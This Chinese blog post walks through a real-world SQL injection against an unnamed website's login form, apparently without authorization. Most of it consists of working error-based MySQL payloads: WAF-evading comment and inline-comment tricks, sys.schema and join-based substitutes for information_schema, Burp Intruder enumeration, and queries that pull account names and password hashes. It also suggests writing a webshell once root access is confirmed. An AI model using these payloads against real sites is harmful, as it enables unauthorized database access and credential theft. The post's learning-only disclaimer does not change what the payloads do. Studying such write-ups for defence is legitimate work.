记一次SQL注入实战

2024-06-29 312 0

1.前言

该站点登录页面存在sql注入漏洞,通过插入单引号会直接返回sql报错语句,因此可利用报错注入进行暴库。此外,通过burp抓包探测发现登录处的验证码存在一码多用情况,以及该站后台对常用的关键字如group_concat、concat_ws、information_schema及空格等均进行了过滤,注入时需要考虑进行waf绕过。

tips:若存在sql注入漏洞,对于mysql数据库来说,可优先考虑读取mysql.users表中账户数据,尝试密码破解及远程登录。

2.注入探测

在登录账号后面插入单引号并提交,出现sql报错语句。考虑报错注入。
记一次SQL注入实战插图

3.获取数据库

burp抓包,直接插入sql查询语句
记一次SQL注入实战插图1

绕过方式一:注释替换空格

从响应结果来看,插入的sql语句完全被过滤,将空格用注释替换,构造如下payload进行查询

username=admin'/**/and/**/updatexml(1,concat(0x7e,(database()),0x7e),1)--+

记一次SQL注入实战插图2

成功获得当前数据库名,将database()替换成version(),user()继而获得当前用户及数据库版本信息。

4.获取表名

构造如下payload,尝试从information_schema.tables表中获取当前数据库下所有表名。

username=admin'/**/and/**/updatexml(1,concat(0x7e,(select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema=database()),0x7e),1)--+

记一次SQL注入实战插图3

响应结果提示存在非法参数,由于不确定具体是哪个关键字引起的拦截,将关键字用字符“x”逐一替换提交并观察响应结果。
记一次SQL注入实战插图4

通过排查发现,该站后台对关键字select、group_concat、information_schema均进行了过滤。

绕过方式二:内联注释

首先考虑对关键字select进行替换绕过,尝试使用大写、双写、各种编码方式进行绕过,最终发现可采用内联注释进行绕过

select -> /*!50000%50elect*/

记一次SQL注入实战插图5

在对group_concat关键字采用内联注释绕过时,出现如下报错

��FUNCTION xxx.group_concat does not exist. Check the 'Function Name Parsing and Resolution' section in the Reference Manual

查询资料得知,group_concat函数名与括号()之间不能有其他任意字符包括空格

绕过方式三:limit平替group_concat

由于group_concat函数无法使用,考虑用limit进行替换,构造如下payload继续测试

username=admin'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/(table_schema)from/**/information_schema/**/limit/**/0,1),0x7e),1)--+

继续对information_shcema关键字进行绕过,通过尝试发现,可采用内联注释、插入反引号、特殊字符以及用其他数据库替换。payload如下:

`information_schema`.`schemata`
information_schema/**/.schemata information_schema/*!*/.schemata information_schema/*!50000*/.schemata
information_schema%0a.schemata

绕过方式四:sys.schema平替information_schema

这里考虑用其他数据库进行平替查询。查阅资料得知,mysql5.7版本中新增了sys.schema,基础数据来自于 performance_chema 和 information_schema 两个库,本身数据库不存储数据。因此可以通过以下几个表获取到所有数据库名和表名

  • sys.schema_auto_increment_columns 对表自增ID监控表

  • sys.schema_table_statistics_with_buffer 增删查改I/O延迟时间统计表

  • mysql.innodb_table_stats

注意

  1. sys.schema_auto_increment_columns这个库有些局限性,一般要超级管理员才可以访问sys

  2. 对于上述3个表从单个表获取数据库及表名会获取不全,需要3个表全部获取去重才能得到所有数据库名及表名

构造如下payload尝试获取表名

admin'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/table_name/**/from/**/sys.schema_auto_increment_columns/**/where/**/table_schema/**/=/**/database()/**/limit/**/0,1),0x7e),1)

记一次SQL注入实战插图6
第一个表名获取成功,同时也说明当前用户为超级管理员即root用户,若知道文件绝对路径,可考虑写入一句话。

接着利用count函数计算当前数据库下表数量

admin'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/count(distinct(table_name))/**/from/**/sys.schema_auto_increment_columns/**/where/**/table_schema/**/=/**/database()/**/limit/**/0,1),0x7e),1)

记一次SQL注入实战插图7

表数量获取成功,将Request请求包发送至Intruder模块,控制limit参数,进行爆破,从而获取到所有表名

记一次SQL注入实战插图8

5.获取列名

通过上述方法获取到了当前数据库下所有表名,但无法查询到列名,也不存在可以去取列名的表。

绕过方式五:join无列名查询

继续查阅资料得知,可以使用join关键字进行内联查询,在查询时由于查询表与自身内联,会由于冗余的原因(相同列名存在),而发生错误,并且报错信息会存在重复的列名,可以使用using表达式来避免错误。

payload构造如下

=admin'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/*/**/from/**/(/*!50000%53elect*//**/*/**/from/**/db.tables/**/as/**/a/**/join/**/db.tables/**/as/**/b/**/)/**/as/**/c),0x7e),1)--+

记一次SQL注入实战插图9

第一个字段名获取成功,继续构造如下payload获取其余字段

=admin'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/*/**/from/**/(/*!50000%53elect*//**/*/**/from/**/xx/**/as/**/a/**/join/**/xx/**/as/**/b/**/using(xx))/**/as/**/c),0x7e),1)--+

记一次SQL注入实战插图10

6.获取表数据

得到上述信息之后,便可查询用户及密码信息。

#获取账号
username=admin'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/name/**/from/**/xxx/**/where /**/id=xxx),0x7e),1)--+
#获取密码
username=admin'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/substr(password,1,31)/**/from/**/xxx/**/where /**/id=xxx),0x7e),1)--+

注意:

  1. 因为密码长度为32位,而这里最多只能显示31位,因此要用substr函数分段读取。

7.总结

1.waf绕过方式千千万,关键要看系统过滤了那些关键字符,然后在考虑采用一种或多种绕过姿势联合绕过。

8.参考资料

  1. information_schema过滤与无列名注入

  2. 记一次艰难的SQL注入(过安全狗)


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

webpack打包站点,js文件名批量获取思路
加密对抗靶场enctypt——labs通关
【论文速读】| 注意力是实现基于大语言模型的代码漏洞定位的关键
蓝队技术——Sysmon识别检测宏病毒
内网渗透学习|powershell上线cs
LLM attack中的API调用安全问题及靶场实践

发布评论